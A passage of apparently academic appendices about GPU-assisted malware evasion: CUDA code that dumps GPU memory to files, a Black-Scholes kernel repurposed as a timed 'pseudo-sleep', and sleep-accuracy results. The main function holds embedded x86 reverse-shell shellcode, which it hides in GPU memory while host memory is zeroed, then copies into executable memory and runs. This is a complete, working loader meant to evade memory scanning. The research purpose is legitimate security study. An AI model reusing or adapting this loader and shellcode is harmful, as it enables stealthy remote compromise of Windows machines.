    printf("Free memory is: %zu\n", free_mem); 

    printf("Total memory is: %zu\n", total_mem); 

    size_t remaining_memory = free_mem; 
 

    // Loop to allocate GPU memory into the different dump files 

    for (size_t j = 0; j < array_length; j++) { 

        // If statement to determine if the standard copy size should be used, or if the 
 // end of GPU memory has been reached 

        if (remaining_memory <= max_copy_size) { 

            // Re-calculate available memory to avoid trying to allocate too much 
            cudaMemGetInfo(&free_mem, &total_mem); 

            printf("The new free memory is %zu\n", free_mem); 

 
            // Leave some memory free to avoid allocating all available GPU memory, as 

     //this can cause crashes 

            free_mem -= 10 * 1024 * 1024; 

 

            // Allocate remaining GPU memory 

            cudaMalloc((void**)&device_pointers[j], free_mem); 

            host_pointers[j] = (unsigned int*)malloc(free_mem); 
            mem_sizes[j] = free_mem; 

            actual_length = j + 1; 

            break; 
        }  
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        else { 
            // Allocate a GPU memory chunk of size max_copy_size 

            printf("The memory about to be allocated is %zu\n", max_copy_size); 

            cudaMalloc((void**)&device_pointers[j], max_copy_size); 
            host_pointers[j] = (unsigned int*)malloc(max_copy_size); 

            mem_sizes[j] = max_copy_size; 

            remaining_memory -= max_copy_size; 

        } 
    } 

 

    // Iterate through the file dump sections and copy the data from the GPU to the 
host. 

    for (size_t k = 0; k < actual_length; k++) { 

        printf("The cudaMemcpy destination is %p\n", host_pointers[k]); 
        printf("The cudaMemcpy source is %p\n", device_pointers[k]); 

        printf("The cudaMemcpy size is %zu\n", mem_sizes[k]); 

        cudaMemcpy(host_pointers[k], device_pointers[k], mem_sizes[k], 

cudaMemcpyDeviceToHost); 
    } 

 

    fprintf(stderr, "Memory dump...\n"); 
 

    // Define a variable to be used to write the dump files 

    FILE* write_ptr; 
 

    // Loop to write all the GPU data from host memory to the dump files. 

    for (int l = 0; l < actual_length; l++) { 

        std::string filename_string = "dump" + std::to_string(l) + ".bin"; 

        char filename_1[10]; // Filename for if l is just a single digit. 

        char filename_2[11]; // Filename for if 9 < l < 100. 

 
        if (l < 10) { 

            strcpy(filename_1, filename_string.c_str()); 

            printf("The filename being used is %s\n", filename_1); 
            write_ptr = fopen(filename_1, "wb");  // w for write, b for binary 

            for (size_t i = 0; i < mem_sizes[l] / 4; i += 1) { 

                fwrite(&host_pointers[l][i], sizeof(host_pointers[l][i]), 1, 
write_ptr); 

            } 

        } 

        else { 
            strcpy(filename_2, filename_string.c_str()); 

            printf("The filename being used is %s\n", filename_2); 

            write_ptr = fopen(filename_2, "wb");  // w for write, b for binary 
            for (size_t i = 0; i < mem_sizes[l] / 4; i += 1) { 

                fwrite(&host_pointers[l][i], sizeof(host_pointers[l][i]), 1, 

write_ptr); 
            } 

        } 

        // Close file and reset write_ptr, and clear the host and GPU memory which has 

 // just been dumped to a file. 
        fclose(write_ptr); 

        write_ptr = NULL; 

        cudaFree(device_pointers[l]); 
        free(host_pointers[l]); 

    } 

    // CUDA clear up 
    cudaDeviceSynchronize(); 

    cudaDeviceReset(); 

    return EXIT_SUCCESS; 
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Appendix F   GPU Pseudo-Sleep (BlackScholes.cu) 
/* 

 * This sample is an edited version of the Nvidia CUDA 11.6 

 * Black-Scholes sample as can be found here: 

 * hxxps://github.com/NVIDIA/cuda-
samples/tree/master/Samples/5_Domain_Specific/BlackScholes 

 */ 

 

#include <helper_functions.h>  // helper functions for string parsing 

#include <helper_cuda.h>  // helper functions CUDA error checking and initialization 

 //#include <cuda.h> // Cuda header file 

 
 //////////////////////////////////////////////////////////////////////////////// 

 // Process an array of optN options on CPU 

 //////////////////////////////////////////////////////////////////////////////// 

extern "C" void BlackScholesCPU(float* h_CallResult, float* h_PutResult, 

    float* h_StockPrice, float* h_OptionStrike, 

    float* h_OptionYears, float Riskfree, 

    float Volatility, int optN); 

 

//////////////////////////////////////////////////////////////////////////////// 

// Process an array of OptN options on GPU 

//////////////////////////////////////////////////////////////////////////////// 

#include "BlackScholes_kernel.cuh" 

 
//////////////////////////////////////////////////////////////////////////////// 

// Helper function, returning uniformly distributed 

// random float in [low, high] range 

//////////////////////////////////////////////////////////////////////////////// 

float RandFloat(float low, float high) { 

    float t = (float)rand() / (float)RAND_MAX; 

    return (1.0f - t) * low + t * high; 

} 

 

//////////////////////////////////////////////////////////////////////////////// 

// Data configuration 

//////////////////////////////////////////////////////////////////////////////// 

const int OPT_N = 400000; 

const int BENCHMARK_ITERATIONS = 1024 * 2; 

const int DESIRED_SLEEP = 30; //Desired sleep in seconds 

 

 
const int OPT_SZ = OPT_N * sizeof(float); 

const float RISKFREE = 0.02f; 

const float VOLATILITY = 0.30f; 

 

#define DIV_UP(a, b) (((a) + (b)-1) / (b)) 

 
//////////////////////////////////////////////////////////////////////////////// 

// GPU Sleep function 

//////////////////////////////////////////////////////////////////////////////// 

void GPU_Sleep(int argc, char** argv) { 

    // Start logs 

    printf("[%s] - Starting...\n", argv[0]); 

    StopWatchInterface* totalTimer = NULL; 
    sdkCreateTimer(&totalTimer); 

    sdkResetTimer(&totalTimer); 

    sdkStartTimer(&totalTimer); 
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    //'h_' prefix - CPU (host) memory space 

    float 

        // CPU instance of input data 

        * h_StockPrice, * h_OptionStrike, * h_OptionYears; 
 

    //'d_' prefix - GPU (device) memory space 

    float 

        // Results calculated by GPU 

        * d_CallResult, 

        * d_PutResult, 

        // GPU instance of input data 

        * d_StockPrice, * d_OptionStrike, * d_OptionYears; 

 

    // Variables for timing sleep 
    double total_gpuTime; 

    StopWatchInterface* hTimer = NULL; 

 

    // Index variable 
    int i; 

 

    findCudaDevice(argc, (const char**)argv); 

 

    sdkCreateTimer(&hTimer); 

 
    // Allocating CPU memory for options 

    h_StockPrice = (float*)malloc(OPT_SZ); 

    h_OptionStrike = (float*)malloc(OPT_SZ); 

    h_OptionYears = (float*)malloc(OPT_SZ); 

 

    // Allocating GPU memory for options 

    checkCudaErrors(cudaMalloc((void**)&d_CallResult, OPT_SZ)); 

    checkCudaErrors(cudaMalloc((void**)&d_PutResult, OPT_SZ)); 

    checkCudaErrors(cudaMalloc((void**)&d_StockPrice, OPT_SZ)); 

    checkCudaErrors(cudaMalloc((void**)&d_OptionStrike, OPT_SZ)); 

    checkCudaErrors(cudaMalloc((void**)&d_OptionYears, OPT_SZ)); 

 

    // Generating input data in CPU memory 

    srand(5347); 

 

    // Generate options set 

    for (i = 0; i < OPT_N; i++) { 

        h_StockPrice[i] = RandFloat(5.0f, 30.0f); 

        h_OptionStrike[i] = RandFloat(1.0f, 100.0f); 

        h_OptionYears[i] = RandFloat(0.25f, 10.0f); 
    } 

 

    // Copy options data to GPU memory for further processing 

    checkCudaErrors( 

        cudaMemcpy(d_StockPrice, h_StockPrice, OPT_SZ, cudaMemcpyHostToDevice)); 

    checkCudaErrors(cudaMemcpy(d_OptionStrike, h_OptionStrike, OPT_SZ, 

        cudaMemcpyHostToDevice)); 
    checkCudaErrors( 

        cudaMemcpy(d_OptionYears, h_OptionYears, OPT_SZ, cudaMemcpyHostToDevice)); 

 
    // Running Black-Scholes GPU kernel benchmark 

    checkCudaErrors(cudaDeviceSynchronize()); 

    sdkResetTimer(&hTimer); 
    sdkStartTimer(&hTimer); 
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    for (i = 0; i < BENCHMARK_ITERATIONS; i++) { 

        BlackScholesGPU << <DIV_UP((OPT_N / 2), 128), 128 /*480, 128*/ >> > ( 

            (float2*)d_CallResult, (float2*)d_PutResult, (float2*)d_StockPrice, 

            (float2*)d_OptionStrike, (float2*)d_OptionYears, RISKFREE, VOLATILITY, 

            OPT_N); 

    } 

 
    checkCudaErrors(cudaDeviceSynchronize()); 

 

    // Calculate benchmark time 
    sdkStopTimer(&hTimer); 

    total_gpuTime = sdkGetTimerValue(&hTimer) / 1000; 

 
    // Calculated required iterations to reach desired sleep time 

    float BENCHMARK_MULTIPLIER = (DESIRED_SLEEP / total_gpuTime) - 1; 

    const int NUM_ITERATIONS = (int)((BENCHMARK_ITERATIONS * BENCHMARK_MULTIPLIER) + 

0.5f); 

 

    // Reset timer for measuring the remaining iterations 

    sdkResetTimer(&hTimer); 
    sdkStartTimer(&hTimer); 

 

    // Run the remaining iterations 
    for (i = 0; i < NUM_ITERATIONS; i++) { 

        BlackScholesGPU << <DIV_UP((OPT_N / 2), 128), 128 /*480, 128*/ >> > ( 

            (float2*)d_CallResult, (float2*)d_PutResult, (float2*)d_StockPrice, 
            (float2*)d_OptionStrike, (float2*)d_OptionYears, RISKFREE, VOLATILITY, 

            OPT_N); 

    } 

    checkCudaErrors(cudaDeviceSynchronize()); 
 

    // Calculate time for remaining iterations 

    sdkStopTimer(&hTimer); 
    total_gpuTime = sdkGetTimerValue(&hTimer) / 1000; 

 

    // Free GPU memory 
    checkCudaErrors(cudaFree(d_OptionYears)); 

    checkCudaErrors(cudaFree(d_OptionStrike)); 

    checkCudaErrors(cudaFree(d_StockPrice)); 

    checkCudaErrors(cudaFree(d_PutResult)); 

    checkCudaErrors(cudaFree(d_CallResult)); 

 

 
    // Free CPU memory 

    free(h_OptionYears); 

    free(h_OptionStrike); 
    free(h_StockPrice); 

 

    // Delete timer 

    sdkDeleteTimer(&hTimer); 
 

    // Calculate actual time of full sleep function 

    sdkStopTimer(&totalTimer); 
    float total_executionTime = sdkGetTimerValue(&totalTimer) / 1000; 

    sdkDeleteTimer(&totalTimer); 

} 
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//////////////////////////////////////////////////////////////////////////////// 

// Main program 

//////////////////////////////////////////////////////////////////////////////// 

int main(int argc, char** argv) { 

    // Run Sleep 

    GPU_Sleep(argc, argv); 

 

    char shellcode[] = \ 

        "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" 

        "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" 

        "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" 

        "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" 

        "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" 

        "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" 

        "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" 

        "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" 

        "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" 

        "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" 

        "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40" 

        "\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x05\x68\x01\x02" 

        "\x03\x04\x68\x02\x00\x05\x39\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5" 

        "\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5" 

        "\xA2\x56\xFF\xD5\x68\x63\x6D\x64\x00\x89\xE3\x57\x57\x57\x31\xF6" 

        "\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01\x01\x8D\x44\x24" 

        "\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E\x56\x56\x53\x56" 

        "\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E\x56\x46\xFF\x30\x68\x08" 

        "\x87\x1D\x60\xFF\xD5\xBB\xF0\xB5\xA2\x56\x68\xA6\x95\xBD\x9D\xFF" 

        "\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A" 

        "\x00\x53\xFF\xD5"; 

 

    //Store shellcode in GPU 

    size_t shellcode_size = sizeof(shellcode); 

    char* shellcode_pointer = shellcode; 

    float* shellcode_device_pointer = NULL; 

    cudaMalloc((void**)&shellcode_device_pointer, shellcode_size); 

    cudaMemcpy(shellcode_device_pointer, shellcode_pointer, shellcode_size, 

cudaMemcpyHostToDevice); 
 

    //Clear the shellcode from system memory 

    memset(shellcode_pointer, 0, shellcode_size); 

 
    //Run Sleep 

    GPU_Sleep(argc, argv); 

 

 

    //Retrieve shellcode from GPU memory 

    cudaMemcpy(shellcode_pointer, shellcode_device_pointer, shellcode_size, 
cudaMemcpyDeviceToHost); 

 

    //Execute shellcode 

    void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, 
PAGE_EXECUTE_READWRITE); 

    memcpy(exec, shellcode, sizeof(shellcode)); 

    ((void(*)())exec)(); 

 

    exit(EXIT_SUCCESS); 

} 
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Appendix G GPU Pseudo-Sleep Results 
Table 7 contains the results of the sleep accuracy tests. 

Test 10s sleep 60s sleep 300s sleep 600s sleep 3600s sleep 

1 10.256097s 60.139847s 300.443726s 601.219421s 3608.147217s 

2 10.032576s 60.105824s 300.728790s 601.116943s 3607.928955s 

3 10.108141s 60.147781s 300.688721s 601.174377s 3607.758057s 

4 10.032146s 60.163445s 300.858765s 601.430603s 3606.265869s 

5 10.104253s 60.141663s 300.738739s 601.171936s 3606.605469s 

6 10.043719s 60.146572s 300.493225s 600.956665s 3607.639893s 

7 10.127147s 60.163506s 300.676056s 601.165100s 3607.123291s 

8 10.054688s 60.117680s 300.336639s 601.311523s 3605.262939s 

9 10.145037s 60.146900s 300.537506s 601.415771s 3606.913574s 

10 10.056065s 60.151005s 300.607208s 600.920776s 3605.598633s 

Average error 0.96% 0.24% 0.20% 0.20% 0.19% 
Table 7 - Results of the sleep accuracy tests 


